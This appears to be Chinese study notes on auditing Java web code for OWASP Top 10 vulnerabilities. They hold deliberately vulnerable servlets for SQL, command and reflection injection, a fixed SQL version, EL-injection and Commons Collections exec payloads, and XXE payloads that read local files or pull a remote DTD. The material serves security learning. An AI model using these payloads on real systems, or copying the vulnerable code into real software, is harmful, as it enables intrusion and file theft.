第五章 OWASP TOP 10 2017 漏洞代码审计

1.sql注入

jdbc拼接不当引起的sql注入,主要用到PreparedStatement

自己写个案例试一下

用Servlet的案例

先写个工具类

package util;

import java.sql.*;

public class DBConn {
    static String url = "jdbc:mysql://localhost:3306/yourdatabase?useUnicode=true&characterEncoding=utf8";
    static String user ="root";
    static String password ="123456";
    static Connection conn=null;
    static ResultSet rs=null;
    static PreparedStatement ps = null;

    public static void init(){
        try {
            Class.forName("com.mysql.jdbc.Driver");
            conn= DriverManager.getConnection(url, user, password);
        } catch (Exception e) {
            // TODO: handle exception
            System.out.println("初始化失败");
            e.printStackTrace();
        }
    }
    /**
     * 增加修改删除操作
     * @param sql
     * @return
     */
    public static int addUpdDel(String sql){
        int i=0;
        try {
            PreparedStatement ps = conn.prepareStatement(sql);
            i=ps.executeUpdate();
        } catch (SQLException e) {
            // TODO Auto-generated catch block
            System.out.println("sql数据库增删改异常");
            e.printStackTrace();
        }

        return i;
    }

    //数据库查询操作
    public static ResultSet selectSql(String sql){
        try {
            ps=conn.prepareStatement(sql);
            rs=ps.executeQuery(sql);
        } catch (SQLException e) {
            // TODO Auto-generated catch block
            System.out.println("sql数据库查询异常");
            e.printStackTrace();
        }

        return rs;
    }


    //关闭连接
    public     static void closeConn(){
        try {

            ps.close();
            conn.close();
        } catch (SQLException e) {
            // TODO Auto-generated catch block
            System.out.println("sql数据库关闭异常");
            e.printStackTrace();
        }
    }
}

再写个servlet

@WebServlet("/sqltest")
public class JdbcSqlInject extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String sql="select * from user_domain where id="+req.getParameter("id");
        resp.getWriter().write(sql);
        try{
            DBConn.init();
            ResultSet rs=DBConn.selectSql(sql);
            while (rs.next()){
                String name=rs.getString("user");
                resp.getWriter().write("
");
                resp.getWriter().write(name);
            }

        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }
    }
}

引入驱动mysql-connector-java-5.1.46.jar

访问:

http://localhost:8080/ServletTest/sqltest?id=1%20or%201=1

注入成功

正确的做法

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String sql = "select * from user_domain where id=?";
        String id = req.getParameter("id");
        resp.getWriter().write(sql);

        try {
            DBConn.init();
            ResultSet rs = DBConn.selectSql(sql, id);

            while(rs.next()) {
                String name = rs.getString("user");
                resp.getWriter().write("
");
                resp.getWriter().write(name);
            }
        } catch (SQLException var7) {
            var7.printStackTrace();
        }

    }

  

//数据库查询操作
    public static ResultSet selectSql(String sql,String id){
        try {
            ps=conn.prepareStatement(sql);
            ps.setInt(1,Integer.parseInt(id));
            rs=ps.executeQuery();
        } catch (SQLException e) {
            // TODO Auto-generated catch block
            System.out.println("sql数据库查询异常");
            e.printStackTrace();
        }

        return rs;
    }

  

框架注入mybatis 之前实践过,就省略了

https://www.cnblogs.com/fczlm/p/14273064.html

Hibernate遇到的比较少,暂时省略

命令注入

写一个命令注入的Servlet

import org.omg.SendingContext.RunTime;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;

@WebServlet("/ComTest")
public class ComTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String cmd =req.getParameter("cmd");
        Process process= Runtime.getRuntime().exec(cmd);
        InputStream in= process.getInputStream();
        ByteArrayOutputStream ba=new ByteArrayOutputStream();
        byte[] b =new byte[1024];
        int i =-1;
        while ((i= in.read(b))!=-1){
            ba.write(b,0,i);
        }
        resp.getWriter().write(ba.toString());
    }
}

  命令注入的局限

连接符:|,||,&,&&

java环境的命令注入局限,连接符拼接的字符串不会产生命令注入

代码注入

比如java的反射机制,凑一段这样的代码,然后执行http://localhost:8080/ServletTest/ReflexTest?name=java.lang.Runtime&method=getRuntime&method2=exec&args=whoami

就能执行任意命令了

@WebServlet("/ReflexTest")
public class ReflexTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String class_name=req.getParameter("name");
        String class_method=req.getParameter("method");
        String class_method2=req.getParameter("method2");
        String Args=req.getParameter("args");
        //String[] Args=new String[]{req.getParameter("args").toString()};
        try{
            Class<?> clazz= Class.forName(class_name);
            Method method=clazz.getMethod(class_method);
            Object rt=method.invoke(clazz);
            clazz.getMethod(class_method2,String.class).invoke(rt, Args);

        } catch (ClassNotFoundException | NoSuchMethodException | InvocationTargetException  | IllegalAccessException e) {
            e.printStackTrace();
        }


    }
}

 

是不是觉得这就是你自己凑出来的,真实项目中哪有人给你这样设计好了等你日,嘿,还就真有

java反序列化命令执行中用到了Apache Commons cokkections组件3.1版本,有一段通过利用反射机制完成特定功能的代码。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

  

那么回顾一下java反序列化命令执行。

首先我们引入Apache Commons cokkections的版本,尝试一下,用InvokerTransformer,到底能不能执行runtime

这里用spring boot maven引入吧,比较好搞一些

<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

然后main下执行这样的代码:

InvokerTransformer test=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"});
Runtime rt=Runtime.getRuntime();
test.transform(rt);

  可以确认一点transform是可以通过反射机制,执行Runtime从而命令执行的。

那如果transform传入的对象,我们可控,InvokerTransformer的对象中的内容也可控,那会怎么样?具体分析之前分析学习过https://www.cnblogs.com/fczlm/p/14293107.html

5.表达式注入

5.1EL表达式注入

是一种在JSP页面获取数据的简单方式(只能获取数据,不能设置数据)

 语法格式

在JSP页面的任何静态部分均可通过:${expression}来获取到指定表达式的值

EL只能从四大域中获取属性

page,request,session,application

实例1:获取url参数

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  ${param.name}
  </body>
</html>

  

实例2,实例化java的内置类

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  ${Runtime.getRuntime().exec("calc")}
  </body>
</html>

EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。

案例:

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class Test {
    public static void main(String[] args) {
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        // failed
        // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
        // ok
        String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
        System.out.println(valueExpression.getValue(simpleContext));
    }
}

  但是在实际场景中,是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的

5.1.2模板注入

5.2 失效的身份认证

5.3敏感信息泄露

5.4XXE

XML 的解析过程中若存在外部实体,若不添加安全的XML解析配置,则XML文档将包含来自外部 URI 的数据。这一行为将导致XML External Entity (XXE) 攻击,从而用于拒绝服务攻击,任意文件读取,扫内网扫描。

在Java中其实存在着非常多的解析XML的库,同时由于在Java应用中会大量地使用到XML,因此就会出现使用不同的库对XML继续解析,而编写这些代码的研发人员并没有相关的安全背景,所以就导致了层出不穷地Java XXE漏洞。

案例1:

DocumentBuilderFactory

案例

@PostMapping(value="/xxetest",produces = "application/xml;charset=UTF-8")
    public void xxeTest(@RequestBody String xml) throws ParserConfigurationException, IOException, SAXException {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = dbf.newDocumentBuilder();
        builder.parse(new InputSource(new StringReader(xml)));
    }

  

POST http://127.0.0.1:8080/xxetest HTTP/1.1
User-Agent: Fiddler
Content-Type: application/xml;charset=UTF-8
Host: 127.0.0.1:8080
Content-Length: 106

<?xml version="1.0"?> 
<!DOCTYPE creds  SYSTEM "http://**.com/ssrf.php">
<creds>&b;</creds>

  

收到收到ssrf请求

User-Agent: Java/1.8.0_191
Host: **
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
REMOTE_ADDR:** 2021/09/18 04/36/48pm

  

其他payload也记录下吧

有回显的

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

  引入的外部的dtd

<?xml version="1.0"?> 
<!DOCTYPE creds  SYSTEM "http://127.0.0.1/test/evil.dtd">
<creds>&b;</creds>
**********
http://127.0.0.1/test/evil.dtd的数据
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

  

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd"> 
%goodies;
]> 
<creds>&b;</creds>
********
evil.dtd
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

  php 的

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> 
<creds>&goodies;</creds>

  

此外还有

SAXBuilder,

SAXParserFactory,

SAXReader

SAXTransformerFactory,

SchemaFactory,

TransformerFactory

ValidatorSample,

XMLReader

参考这个https://blog.spoock.com/2018/10/23/java-xxe/

5.5失效的访问控制

5.6不安全配置

略,但是之后要补充练习

5.7跨站脚本

 5.8 不安全的反序列化

感觉描述的不太清晰,日后查查资料再练习下。

5.9使用含有已知漏洞的组件

5.10 CRLF注入

回车换行注入漏洞

<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  <%
    String val=request.getParameter("val");
    Logger log =Logger.getLogger("log");
    log.setLevel(Level.INFO);
    try{
      int value =Integer.parseInt(val);
      System.out.println(value);
    }
    catch (Exception e){
      log.info("Filed"+val);
    }
  %>
  </body>
</html>

  

原文地址:https://www.cnblogs.com/fczlm/p/15309306.html